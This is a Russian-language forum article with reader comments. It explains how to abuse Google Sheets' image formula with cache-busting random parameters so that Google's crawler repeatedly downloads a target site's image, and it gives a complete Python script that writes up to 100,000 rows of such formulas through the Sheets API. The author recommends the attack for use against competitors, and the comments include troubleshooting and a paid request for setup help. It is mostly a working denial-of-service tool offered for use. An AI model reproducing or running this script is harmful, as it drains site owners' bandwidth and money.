Статья Лёгкий DDoS с помощью Google Sheets

Лёгкий DDoS с помощью Google Sheets.png

Привет codeby.net!
В этой статье мы разберем . Узнаем актульно ли это, поймем как это работает и напишим свою тулзу для автоматизации атаки.

Теория:
Суть данной атаки в использовании формулы для вставки изображения в ячейку =image("http://www.example.org/image.jpg"). Если вставить данную формулу в Google Sheets, робот google перейдёт по ссылке и скачает файл чтобы затем вставить в таблицу. Одного перехода бота на атакуемый сайт нам недостаточно поэтому нам надо как можно больше вставить таких формул в таблицу но бот не дурак и знает что такая картинка уже есть и он нам отдаст ее из кэша а не пойдет повторно на атакуемый сайт. Однако исследователь под ником chr13 обнаружил что если добавить к ссылке случайный параметр, то робот скачает этот файл ещё раз =image("http://www.example.org/image.jpg?r=1"). Таким образом мы можем заставить бота обращаться к серверу столько раз к сколько нам вздумается.

Положить сайт таким образом вероятно не удастся но замедлить и сожрать трафик возможно (данный тип атаки хорошо подойдет для конкурентной борьбы). Вот статья в которой говориться о том как владелец сайта попал на 1000 долларов из за Google Spreadsheets.

Google знает об этом и ничего с этим не собирался делать так как это не является ошибкой.

Практика:
Начнем со сбора данных которые нам будут нужны в процессе написание программы. Нам понадобиться spreadsheets id, названия листа а также URL на изображение с атакуемого сайта. Если у вас нет google аккаунта создаем, затем идем в spreadsheets и создаем новый файл, переходим на него. Из URL берем spreadsheets id.

2019-03-14_19-43-35.png


Теперь нам надо переименовать название листа (имя не имеет значения главное чтобы была на английском). Я дам имя list1 вы же можете назвать как угодно. Листы находятся внизу таблицы в новом документе он будет один, нажимаем на треугольник возле название как показано на скриншоте.

2019-03-14_19-46-51.png


В появившимся меню выбираем переименовать, задаем имя и нажимаем enter.

2019-03-14_19-53-37.png


Думаю как получить URL на картинку с атакуемого сайта объяснять не нужно (если есть возможность выбирайте картинку с максимальным размером, если все же надо показывать напишите в комментариях я дополню статью).

По итогу у нас должно получиться три параметра:
Код:
USER_ENTERED: 1jWBT1_DZMUqpga1rhpzqmzmwM7EzVtvcUyeQmUDEgcI
LIST_NAME: list1
URL: http://www.example.org/image.jpg

Теперь можно приступить непосредственно к написанию самой программы. В качестве языка программирования возьмем а для взаимодействие с таблицей воспользуемся . Для начало установим библиотеки для работы с API.
Код:
pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib
Затем нам надо получить json файл с client id и client secret. Для этого идем по этой ссылки на документацию находим там первый шаг и нажимаем на синею кнопку.

2019-03-29_13-37-07.png


Откроется модальное окно, нажимаем опять на синею кнопку и качаем credentials.json, кладем его рядом с нашим будущим скриптом в один каталог. Этот файл нам понадобиться что бы работать с API.

2019-03-29_13-38-03.png


Теперь приступаем к написанию кода. Для работы с таблицей нам надо авторизоваться. Для этого воспользуемся документацией и перейдем на шаг 3 на основе примера накидаем следующий код.

Python:
from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request

# If modifying these scopes, delete the file token.pickle.
SCOPES = ['https://www.googleapis.com/auth/contacts.readonly']


def authorization():
    creds = None
    # The file token.pickle stores the user's access and refresh tokens, and is
    # created automatically when the authorization flow completes for the first
    # time.
    if os.path.exists('token.pickle'):
        with open('token.pickle', 'rb') as token:
            creds = pickle.load(token)
    # If there are no (valid) credentials available, let the user log in.
    if not creds or not creds.valid:
        if creds and creds.expired and creds.refresh_token:
            creds.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(
                'credentials.json', SCOPES)
            creds = flow.run_local_server()
        # Save the credentials for the next run
        with open('token.pickle', 'wb') as token:
            pickle.dump(creds, token)

    return build('sheets', 'v4', credentials=creds)


if __name__ == '__main__':
    authorization()

В переменной SCOPES храниться права доступа с которыми мы проходим авторизацию. Те что в примере нам не подходят так как они дают права на чтение а нам надо на редактирования. Идем в документацию находим нужный раздел видим список прав. Нам надо https://www.googleapis.com/auth/spreadsheets. Заменяем SCOPES = ['https://www.googleapis.com/auth/contacts.readonly'] на SCOPES = ['https://www.googleapis.com/auth/spreadsheets']. Теперь у нас есть права на запись после авторизации. Осталось написать функцию генерации ссылок. Опять идем в документацию находим как добавлять новые записи в таблицу . На основе примера пишем функцию добавления.

Python:
def add_img(limit, service):
    values = []
    data = []
    body = {
        'values': values
    }

    for request in range(limit):
        for number in range(20):
            data.append('=image("{0}?r={1}")'.format(URL, uuid.uuid4()))

        time.sleep(0.5)

        values.append(data)

        result = service.spreadsheets().values().update(
            spreadsheetId=SPREADSHEET_ID, range=SAMPLE_RANGE_NAME,
            valueInputOption=VALUE_INPUT_OPTION, body=body
        ).execute()

        data = []

        print('{0} cells updated.'.format(result.get('updatedCells')))

В функции используем первый цикл для генерации общего количество заполнения строк а второй для генерации столбцов. Этот метод uuid.uuid4() генерирует уникальный параметр для каждой ссылки чтобы бот не кэшировать картинки. В переменной VALUE_INPUT_OPTION содержит параметр USER_ENTERED который позволяет вставлять в ячейку формулу. Объединив все в один код мы получим готовую программу.
Python:
from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
import uuid
import time

# If modifying these scopes, delete the file token.pickle.
SCOPES = ['https://www.googleapis.com/auth/spreadsheets']

SPREADSHEET_ID = ''
LIST_NAME = ''
URL = ''
SAMPLE_RANGE_NAME = LIST_NAME + '!A1'
VALUE_INPUT_OPTION = 'USER_ENTERED'
LIMIT = 100000


def authorization():
    creds = None
    # The file token.pickle stores the user's access and refresh tokens, and is
    # created automatically when the authorization flow completes for the first
    # time.
    if os.path.exists('token.pickle'):
        with open('token.pickle', 'rb') as token:
            creds = pickle.load(token)
    # If there are no (valid) credentials available, let the user log in.
    if not creds or not creds.valid:
        if creds and creds.expired and creds.refresh_token:
            creds.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(
                'credentials.json', SCOPES)
            creds = flow.run_local_server()
        # Save the credentials for the next run
        with open('token.pickle', 'wb') as token:
            pickle.dump(creds, token)

    return build('sheets', 'v4', credentials=creds)


def add_img(limit, service):
    values = []
    data = []
    body = {
        'values': values
    }

    for request in range(limit):
        for number in range(20):
            data.append('=image("{0}?r={1}")'.format(URL, uuid.uuid4()))

        time.sleep(0.5)

        values.append(data)

        result = service.spreadsheets().values().update(
            spreadsheetId=SPREADSHEET_ID, range=SAMPLE_RANGE_NAME,
            valueInputOption=VALUE_INPUT_OPTION, body=body
        ).execute()

        data = []

        print('{0} cells updated.'.format(result.get('updatedCells')))


def main():
    service = authorization()
    add_img(LIMIT, service)


if __name__ == '__main__':
    main()
Осталось подставить недостающие параметры которые мы получили ранее в соответствующие переменные и можно тестировать наш скрипт) Атака работает следующим образам, запускаете скрипт он начинает генерирует функции с подгрузкой картинок не дожидаясь выполнения скрипта нужно открыть таблицу в браузере что бы бот начал подгружать картинки. Как только картинки начинают подгружаться картинки значит запросы на атакуемый сервер полетят.

p.s За код прошу не корить был написан на скорую руку для проверки атаки а переписывать было лень. Надеюсь статья вам понравилась :)
 
Последнее редактирование:
Д

Доброжелатель

Client secrets must be for a web or installed app
Ошибка которую выдает. Не подскажете как исправить?
 

Doctor zlo

Green Team
18.05.2017
83
35
BIT
0
К сожалению, пока не удалось проверить скрипт) после вашей правки запустилось, но забилась оперативка, все 8 гб. Поэтому сейчас ищу метод как ограничить объем памяти для программы, в python не особо силен, но что то знаю. Если бы кодеры по опытней меня , присоединились то можно было бы добить ваш проект)
 

n3d.b0y

Red Team
19.01.2018
181
476
BIT
176
К сожалению, пока не удалось проверить скрипт) после вашей правки запустилось, но забилась оперативка, все 8 гб. Поэтому сейчас ищу метод как ограничить объем памяти для программы, в python не особо силен, но что то знаю. Если бы кодеры по опытней меня , присоединились то можно было бы добить ваш проект)

Обновил пример) Не должно было быть такого (перемудрил с уникальными ключами)
 
Последнее редактирование:
  • Нравится
Реакции: BadBlackHat

Krang

Green Team
27.04.2020
16
10
BIT
0
Здравствуйте, url картинки - достаточно ли ссылки, например - по ссылке картинка открывается. И есть ли разница в формате: .jpg , .png, .gif ? Благодарю.
 

Anonymous01

New member
06.07.2021
1
0
BIT
0
Ребят, кто поможет мне так сделать всё настроить, отблагодарю $ кидайте сво тг в лс
 

svalca-net

New member
13.11.2022
1
0
BIT
0
доброго, пытался сделать по теме, но нечего не вышло. можете обновить тему до актуальной и более подробной?
а то не понятно.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!